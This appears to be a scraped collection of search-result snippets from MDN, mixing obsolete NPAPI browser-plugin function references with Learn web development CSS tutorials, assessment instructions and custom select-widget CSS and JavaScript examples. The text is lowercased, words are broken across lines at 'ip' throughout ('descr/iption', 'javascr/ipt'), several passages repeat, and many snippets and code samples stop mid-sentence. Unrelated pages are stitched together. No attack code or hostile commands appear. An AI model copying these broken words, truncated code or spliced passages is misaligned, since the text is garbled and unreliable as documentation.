syntax #include <npruntime.h> bool npn_invokedefault(npp npp, npobject *npobj, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the default method on the object. npobj the object on which to invoke the default method. args an array of arguments to pass to the default method. argcount the number of arguments in the args array. result a pointer to an npvariant to receive the result returned by the default method. ...
...gs array. result a pointer to an npvariant to receive the result returned by the default method. returns true if the default method was successfully invoked, otherwise false. if the default method was invoked successfully, any return value is stored in the npvariant specified by result. when the caller no longer needs the result, it must call npn_releasevariantvalue() to release it. descr
iption the method arguments are passed as an array of npvariants, and the number of arguments is passed in. the result of the method invocation is returned through an npvariant result parameter. if the method invocation succeeds, npn_invoke() returns true, else false. ...
NPN_PostURL - Archive of obsolete content
file a boolean value that specifies whether to post a file. values: true: post the file whose path is specified in buf, then delete the file. false: post the raw data in buf. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. descr
iption npn_posturl works similarly to npn_geturl, but in reverse. npn_geturl reads data from the url and either displays it in the target window or delivers it to the plug-in. npn_posturl writes data from a file or buffer to the url and either displays the server's response in the target window or delivers it to the plug-in. if the target parameter is null, the new stream is passed to the plug-...
... text with unix-style line breaks ('\n' separators only). to post data from a memory buffer, set the flag file to false, the buffer buf to the data to post, and len to the length of buffer. possible url types include http (similar to an html form submission), mail (sending mail), news (posting a news article), and ftp (upload a file). plug-ins can use this function to post form data to cgi scr
ipts using http or upload files to a remote server using ftp. you cannot use npn_posturl to specify headers (even a blank line) in a memory buffer. to do this, use npn_posturlnotify. for protocols in which the headers must be distinguished from the body, such as http, the buffer or file should contain the headers, followed by a blank line, then the body. if no custom headers are required, simply add...
NPN_ReleaseVariantValue - Archive of obsolete content
this must always be called on result variants and such in this api, i.e. any npvariant whose value comes from a call that passes back an npvariant must be released using this function. access to the value in an npvariant that has been released will result in undefined behavior. ...
...this must always be called on result variants and such in this api, i.e. any npvariant whose value comes from a call that passes back an npvariant must be released using this function. access to the value in an npvariant that has been released will result in undefined behavior. ...
NPN_Write - Archive of obsolete content
epresenting the number of bytes written (consumed by the browser). this number depends on the size of the browser's memory buffers, the number of active streams, and other factors. if unsuccessful, the plug-in returns a negative integer. this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream(). ...
...rowser's memory buffers, the number of active streams, and other factors. if unsuccessful, the plug-in returns a negative integer. this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream(). descr
iption npn_write() delivers a buffer from the stream to the instance. a plug-in can call this function mult
iple times after creating a stream with npn_newstream(). the browser makes a copy of the buffer if necessary, so the plug-in can free the buffer as the method returns, if desired. see "example of sending a stream" for an example that includes npn_write(). example this example pushes a sn
ippet of html over a newly created stream, then destroys the stream when it's done. note: you should actually ha...
NPP_Destroy - Archive of obsolete content
the following parameters: instance pointer to the plug-in instance to delete. **save state or other information to save for reuse by a new instance of this plug-in at the same url. passed to npp_new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. descr
iption npp_destroy releases the instance data and resources associated with a plug-in. the browser calls this function when a plug-in instance is deleted, typically because the user has left the page containing the instance, closed the window, or quit the browser. you should delete any private instance-specific information stored in the plug-in's instance->pdata at this time. if this function is d...
...e np_shutdown to delete any data allocated in np_initialize and intended to be shared by all instances of a plug-in. use the optional save parameter if you want to save and reuse some state or other information. upon the user's return to the page, this information is passed to the new plug-in instance when it is created with npp_new. avoid trying to save critical data with this function. ownersh
ip of the buf field of the npsaveddata structure passes from the plug-in to the browser when npp_destroy returns. the browser can and will discard this data based on arbitrary criteria such as its size and the user's page history. to ensure that the browser does not crash or leak memory when the saved data is discarded, npsaveddata's buf field should be a flat structure (a simple structure with no ...
NPP_Print - Archive of obsolete content
e << plug-in side plug-in api summary requests a platform-specific print operation for an embedded or full-screen plug-in. syntax #include <npapi.h> void npp_print(npp instance, npprint* printinfo); parameters the function has the following parameters: instance pointer to the current plug-in instance. must be embedded or full-screen. printinfo pointer to npprint structure. descr
iption npp_print is called when the user requests printing for a web page that contains a visible plug-in (either embedded or full-page). it uses the print mode set in the npprint structure in its printinfo parameter to determine whether the plug-in should print as an embedded plug-in or as a full-page plug-in. an embedded plug-in shares printing with the browser; the plug-in prints the part of ...
...-page plug-in handles all aspects of printing itself. for a full-page plug-in, set the printinfo field to npfullprint or null. for information about printing on your platform, see your platform documentation. ms windows on ms windows printinfo->print.embedprint.platformprint is the device context (dc) handle. be sure to cast this to type hdc. the coordinates for the window rectangle are in tw
ips format. this means that you need to convert the x-y coordinates using the windows api call dptolp when you output text. see also npprint, npfullprint, npembedprint ...
NPP_SetWindow - Archive of obsolete content
troyed. syntax #include <npapi.h> nperror npp_setwindow(npp instance, npwindow *window); parameters the function has the following parameters: instance pointer to the current plug-in instance. must be embedded or full-screen. window pointer to the window into which the instance draws. the window structure contains a window handle and values for top left corner, width, height, and cl
ipping rectangle (see note on unix below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. descr
iption the browser calls npp_setwindow after creating the instance to allow drawing to begin. subsequent calls to npp_setwindow indicate changes in size or position...
...window hierarchy. on mac os, this field points to an np_port structure. for windowless plug-ins, it is a platform-specific handle to a drawable. before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the previous window (if one existed) to account for any changes. for windowless plugins, npp_setwindow is called with a cl
iprect of 0,0,0,0 to signal that the plugin is not visible. note: npp_setwindow is useful only for embedded (np_embed) or full-screen (np_full) plug-ins, which are drawn into windows. it is irrelevant for hidden plug-ins. see also npp_handleevent, npwindow, np_port ...
NPPrintCallbackStruct - Archive of obsolete content
s information required by the platformprint field of the npembedprint structure during embedded mode printing on unix systems. this structure is only used on unix. syntax typedef struct { int32 type; file* fp; } npprintcallbackstruct; fields the data structure has the following fields: type always contains np_print. fp pointer to the file to which the plug-in should write its postscr
ipt data. descr
iption callback structures are used to pass platform-specific information. the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscr
ipt data. this information is required by the platformprint field of the npembedprint structure during embedded mode printing. at the time the plug-in is called, the browser has already opened the file an...
...ion callback structures are used to pass platform-specific information. the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscr
ipt data. this information is required by the platformprint field of the npembedprint structure during embedded mode printing. at the time the plug-in is called, the browser has already opened the file and written postscr
ipt for other parts of the page. when the plug-in is done, it should leave the file open, so the browser can continue to write additional postscr
ipt data to the file. see also npp_print, npembedprint, npsetwindowcallbackstruct, npanycallbackstruct ...
A cool-looking box - Learn web development
t; make it readable using a black text shadow. a fairly subtle border radius. a 1-pixel solid border with a color similar to the base color, but a slightly darker shade. a linear semi-transparent black gradient that goes toward the bottom right corner. make it completely transparent at the start, gradiating to around 0.2 opacity by 30% along, and remaining at the same color until the end. mult
iple box shadows. give it one standard box shadow to make the box look slightly raised off the page. the other two should be inset box shadows -- a semi-transparent white shadow near the top left and a semi-transparent black shadow near the bottom right -- to add to the nice raised 3d look of the box. example the following screenshot shows an example of what the finished design could look like: ...
...creenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for cool-looking box". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with a c...
Backgrounds and borders - Learn web development
dients is to use one of the many css gradient generators available on the web, such as this one. you can create a gradient then copy and paste out the source code that generates it. try some different gradients in the example below. in the two boxes respectively, we have a linear gradient that is stretched over the whole box, and a radial gradient with a set size, which therefore repeats. mult
iple background images it is also possible to have mult
iple background images -- you specify mult
iple background-image values in a single property value, separating each one with a comma. when you do this you may end up with background images overlapping each other. the backgrounds will layer with the last listed background image at the bottom of the stack, and each previous image stacking on top ...
...so we've made a demo to demonstrate the differences between the three values -- have a look at background-attachment.html (also see the source code here). using the background shorthand property as i mentioned at the beginning of this lesson, you will often see backgrounds specified using the background property. this shorthand lets you set all of the different properties at once. if using mult
iple backgrounds, you need to specify all of the properties for the first background, then add your next background after a comma. in the example below we have a gradient with a size and position, then an image background with no-repeat and a position, then a color. there are a few rules that need to be followed when writing background image shorthand values, for example: a background-color may ...
Cascade and inheritance - Learn web development
have equal specificity the one that comes last in the css is the one that will be used. in the below example, we have two rules that could apply to the h1. the h1 ends up being colored blue -- these rules have an identical selector and therefore carry the same specificity, so the last one in the source order wins. specificity specificity is how the browser decides which rule applies if mult
iple rules have different selectors, but could still apply to the same element. it is basically a measure of how specific a selector's selection will be: an element selector is less specific -- it will select all elements of that type that appear on a page -- so will get a lower score. a class selector is more specific -- it will select only the elements on a page that have a specific class attr...
... revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to get to gr
ips with html and css. for example: the second list item has the class my-class-1 applied. this sets the color of the <a> element nested inside to inherit. if you remove the rule how does it change the color of the link? do you understand why the third and fourth links are the color that they are? check the descr
iption of the values above if not. which of the links will change color if you def...
Creating fancy letterheaded paper - Learn web development
tom solid border to the letter, in a color that is inkeeping with the rest of the color scheme. the logo to the <h1>, add the logo as a background image. add a filter to the logo to give it a subtle drop shadow. now comment out the filter and implement the drop shadow in a different (slightly more cross-browser compatible) way, which still follows the shape of the round image. hints and t
ips remember that you can create a fallback for older browsers by putting the fallback version of a declaration first, followed by the version that works across newer browsers only. older browsers will apply the first declaration and ignore the second one, whereas newer browsers will apply the first one, then override it with the second one. feel free to create your own graphics for the assessme...
...creenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for creating fancy letterheaded paper". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help...
Fundamental CSS comprehension - Learn web development
ssue.) other things to think about: you'll get bonus marks if you write your css for maximum readability, with a separate declaration on each line. you should include .card at the start of the selector chain in all your rules, so that these rules wouldn't interfere with the styling of any other elements if the business card were to be put on a page with a load of other content. hints and t
ips you don't need to edit the html in any way, except to apply the css to your html. when trying to work out the em value you need to represent a certain pixel length, think about what base font size the root (<html>) element has, and what it needs to be mult
iplied by to get the desired value. that'll give you your em value, at least in a simple case like this. example the following screensh...
...reenshot shows an example of what the finished design should look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for fundamental css comprehension". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help som...
Attribute selectors - Learn web development
tml), and an idea of how css works (study css first steps.) objective: to learn what attribute selectors are and how to use them. presence and value selectors these selectors enable the selection of an element based on the presence of an attribute alone (for example href), or on various different matches against the value of the attribute. selector example descr
iption [attr] a[title] matches elements with an attr attribute (whose name is the value in square brackets). [attr=value] a[href="https://example.com"] matches elements with an attr attribute whose value is exactly value -- the string inside the quotes. [attr~=value] p[class~="special"] matches elements with an attr attribute whose value is...
... substring matching selectors these selectors allow for more advanced matching of substrings inside the value of your attribute. for example, if you had classes of box-warning and box-error and wanted to match everything that started with the string "box-", you could use [class^="box-"] to select them both (or [class|="box"] as described in section above). selector example descr
iption [attr^=value] li[class^="box-"] matches elements with an attr attribute (whose name is the value in square brackets), whose value begins with value. [attr$=value] li[class$="-box"] matches elements with an attr attribute whose value ends with value. [attr*=value] li[class*="box"] matches elements with an attr attribute whose value contains valu...
Pseudo-classes and pseudo-elements - Learn web development
the content property to see what is being added to the document. reference section there are a large number of pseudo-classes and pseudo-elements, and it is useful to have a list to refer to. below are tables listing them, with links to their reference pages on mdn. use this as a reference to see the kind of things that are available for you to target. pseudo-classes selector descr
iption :active matches when the user activates (for example clicks on) an element. :any-link matches both the :link and :visited states of a link. :blank matches an <input> element whose input value is empty. :checked matches a radio button or checkbox in the selected state. :current matches the element, or an ancestor of the element, t...
...root of the document. :scope matches any element that is a scope element. :valid matches an element such as an <input> element, in a valid state. :target matches an element if it is the target of the current url (i.e. if it has an id matching the current url fragment). :visited matches visited links. pseudo-elements selector descr
iption ::after matches a stylable element appearing after the originating element's actual content. ::before matches a stylable element appearing before the originating element's actual content. ::first-letter matches the first letter of the element. ::first-line matches the first line of the containing element. ::grammar-error matches ...
Test your skills: Selectors - Learn web development
s, download the starting point for this task to work in your own editor or in an online editor. selectors three in this example, try making the following changes without adding to the html. style links, making the link-state orange, visited links green, and remove the underline on hover. make the first element inside the container font-size: 150% and the first line of that element red. str
ipe every other row in the table by selecting these rows and giving them a background color of #333 and foreground of white. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. selectors four in this task try the following: make any paragr...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for selectors skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want to be assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help some...
Test your skills: tables - Learn web development
looked at. our finished table will look like the image below. there are a number of ways that you can achieve this, but i suggest following similar patterns as used in the tutorial to do the following things. align headings and data for columns containing numbers right. align headings and data for columns containing text left. add a top and bottom border, plus a border above the footer. str
ipe every odd row of the main table. for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareabl...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for tables skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with a ...
CSS values and units - Learn web development
n lists different types of color value and support for them. let's have a look at some of the types of value and unit you may frequently encounter, with examples so that you can try out different possible values. numbers, lengths, and percentages there are various numeric data types that you might find yourself using in css. the following are all classed as numeric: data type descr
iption <integer> an <integer> is a whole number such as 1024 or -55. <number> a <number> represents a decimal number -- it may or may not have a decimal point with a fractional component, for example 0.255, 128, or -1.2. <dimension> a <dimension> is a <number> with a unit attached to it, for example 45deg, 5s, or 10px. <dimension> is an umbrella category that ...
...ss, for example when specifying generated content. in this case the value is quoted to demonstrate that it is a string. in the below example we use unquoted color keywords along with a quoted generated content string. functions the final type of value we will take a look at is the group of values known as functions. in programming, a function is a reusable section of code that can be run mult
iple times to complete a repetitive task with minimum effort on the part of both the developer and the computer. functions are usually associated with languages like javascr
ipt, python, or c++, but they do exist in css too, as property values. we've already seen functions in action in the colors section -- rgb(), hsl(), etc. the value used to return an image from a file -- url() -- is also a functio...
Test Your Skills: Fundamental layout comprehension - Learn web development
ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for fundamental layout comprehension". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help ...
...ed help with, in an online shareable editor (as mentioned in step 1 above). ...
Test your skills: Multicol - Learn web development
you will be working through three small tasks which use different elements of the material you have just covered. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for multicol skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone wit...
Normal Flow - Learn web development
rgins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design. previous overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning mult
iple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Supporting older browsers - Learn web development
ut then becomes a flex or grid item, the inline-block behaviour is ignored. display: table the method of creating css tables described in the introduction to these lessons can be used as a fallback. items that have css table layouts set on them will lose this behaviour if they become flex or grid items. importantly, the anonymous boxes created to fix up the table structure are not created. mult
iple-column layout for certain layouts you could use multi-col as a fallback, if your container has any of the column-* properties defined on it and then becomes a grid container, the multicol behaviour will not happen. flexbox as a fallback for grid flexbox has greater browser support than grid due to being supported by ie10 and 11, although do check out the information later in this lesson expl...
...ve enhancement using css grid: supporting browsers without grid a tutorial which uses the ie10 and 11 version of grid should i try to use the ie10 implementation of grid layout? ...
Test your skills: Media Queries and Responsive Design - Learn web development
download the code and work locally, or use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for responsive web design assessment". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help ...
Getting started with CSS - Learn web development
above. styling html elements by making our heading red we have already demonstrated that we can target and style an html element. we do this by targeting an element selector -- this is a selector that directly matches an html element name. to target all paragraphs in the document you would use the selector p. to turn all paragraphs green you would use: p { color: green; } you can target mult
iple selectors at once, by separating the selectors with a comma. if i want all paragraphs and all list items to be green my rule looks like this: p, li { color: green; } try this out in the interactive editor below (edit the code boxes), or in your local css document. changing the default behavior of elements when we look at a well-marked up html document, even something as simple as our...
...be using a screenreader, which reads out the content of the document, or they may need to use much larger text, or be navigating the site using the keyboard only. a plain html document is generally accessible to everyone -- as you start to style that document it is important that you don't make it less accessible. combining selectors and combinators it is worth noting that you can combine mult
iple selectors and combinators together. for example: /* selects any <span> that is inside a <p>, which is inside an <article> */ article p span { ... } /* selects any <p> that comes directly after a <ul>, which comes directly after an <h1> */ h1 + ul + p { ... } you can combine mult
iple types together, too. try adding the following into your code: body h1 + p .special { color: yellow; bac...
What is CSS? - Learn web development
likely to be found among other similar things and are therefore probably in the same specification. for a specific example, let's go back to the backgrounds and borders module -- you might think that it makes logical sense for the background-color and border-color properties to be defined in this module. and you'd be right. css specifications all web standards technologies (html, css, javascr
ipt, etc.) are defined in giant documents called specifications (or simply "specs"), which are published by standards organizations (such as the w3c, whatwg, ecma, or khronos) and define precisely how those technologies are supposed to behave. css is no different -- it is developed by a group within the w3c called the css working group. this group is made of representatives of browser vendors and o...
...oday! as a newcomer to css, it is likely that you will find the css specs overwhelming -- they are intended for engineers to use to implement support for the features in user agents, not for web developers to read to understand css. many experienced developers would much rather refer to mdn documentation or other tutorials. it is however worth knowing that they exist, understanding the relationsh
ip between the css you are using, browser support (see below), and the specs. browser support once css has been specified then it is only useful for us in developing web pages if one or more browsers have implemented it. this means that the code has been written to turn the instruction in our css file into something that can be output to the screen. we'll look at this process more in the lesson ho...
Use CSS to solve common problems - Learn web development
the following links provide solutions to common problems you may face when working with css. ...
...yle text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and inline-block? how to create fancy boxes (also see the styling boxes module, generally). how to use background-cl
ip to control how much of the box your background image covers. how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques. these articles help demystify some of the more complicated use cases. general how to c...
Styling links - Learn web development
ks (links that lead to other sites.) such an icon usually looks like a little arrow pointing out of a box -- for this example, we'll use this great example from icons8.com. let's look at some html and css that will give us the effect we want. ...
...the last rule however is interesting -- here we are inserting a custom background image on external links in a similar manner to how we handled custom bullets on list items in the last article -- this time however we are using background shorthand instead of the individual properties. we set the path to the image we ...
Typesetting a community school homepage - Learn web development
paragraph line, and each list should have the same spacing at its top and bottom as you have between paragraphs. give your list items a nice bullet, appropriate for the design of the page. it is up to you whether you choose a custom bullet image or something else. navigation menu: style your navigation menu so that it has an appropriate look for the look and feel for the page. hints and t
ips you don't need to edit the html in any way for this exercise. you don't necessarily have to make the nav menu look like buttons, but it needs to be a bit taller so that it doesn't look silly on the side of the page; also remember that you need to make this one a vertical nav menu. example the following screenshot shows an example of what the finished design could look like: assessment ...
...creenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for typesetting a community school homepage". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard t...
How do you make sure your website works properly? - Learn web development
l": the address cannot be found. indeed. 404 errors many times the error just results just from a typo, but sometimes maybe you either forgot to upload a resource or you lost your network connection while you were uploading your resources. first check the spelling and accuracy of the file path, and if there's still a problem, upload your files again. that will likely fix the problem. javascr
ipt errors someone (possibly you) added a scr
ipt to the page and made a mistake. this will not prevent the page from loading but you will feel something went wrong. open the console (tools ? web developer ? web console) and reload the page: in this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover javascr
ipt in another series of articles). more things to ...
... ctrl+c sends an "interrupt" signal to the runtime and tells it to stop. if you don't stop the runtime, ping will ping the server indefinitely. a simple checklist check for 404s make sure all webpages are behaving as you expect check your website in several browsers to make sure it r...
How do I start to design my website? - Learn web development
first, some of these item...
...with existing web services?) give people access to your videos on some part of your website two things to notice. first, some of these items are not web-related (e.g., record music, write articles). often those offline activities matter even more than the web side of the project. in sales, for instance, it's far more important and time-consuming to handle supply, payment, and sh
ipment than to build a website where people can place orders. second, setting out actionable steps leads to new questions you'll need to answer. usually there turn out to be more questions than we originally thought. (for example, should i learn how to do all this myself, ask someone to do it for me, or use third-party services?) conclusion as you can see, the simple idea "i want to make a websit...
How do you set up a local testing server? - Learn web development
nd followed by an alternative port number, e.g. python3 -m http.server 7800 (python 3.x) or python -m simplehttpserver 7800 (python 2.x). you can then access your content at localhost:7800. running server-side languages locally python's simplehttpserver (python 2.0) http.server (python 3.0) module is useful, but it doesn't know how to run code written in languages such as python, php or javascr
ipt. to handle that you'll need something more -- exactly what you'll need depends on the server-side language you are trying to run. here are a few examples: to run python server-side code, you'll need to use a python web framework. flask is also a good (slightly less heavyweight) alternative to django. to run this you'll need to install python/p
ip, then install flask using p
ip3 install flask. a...
... code, you'll need to use a python web framework. flask is also a good (slightly less heavyweight) alternative to django. to run this you'll need to install python/p
ip, then install flask using p
ip3 install flask. at this point you should be able to run the python flask examples using for example python3 python-example.py, then navigating to localhost:5000 in your browser. to run node.js (javascr
ipt) server-side code, you'll need to use raw node or a framework built on top of it. express is a good choice. to run php server-side code, launch php's built-in development server: $ cd path/to/your/php/code $ php -s localhost:8000 ...
Example 2 - Learn web development
der-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
...; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascr
ipt content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>ap...
Example 3 - Learn web development
der-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
... border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascr
ipt content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.ad...
Example 4 - Learn web development
der-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
... border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascr
ipt content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.ad...
Example 5 - Learn web development
der-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
... border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascr
ipt content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.ad...
Test your skills: Basic controls - Learn web development
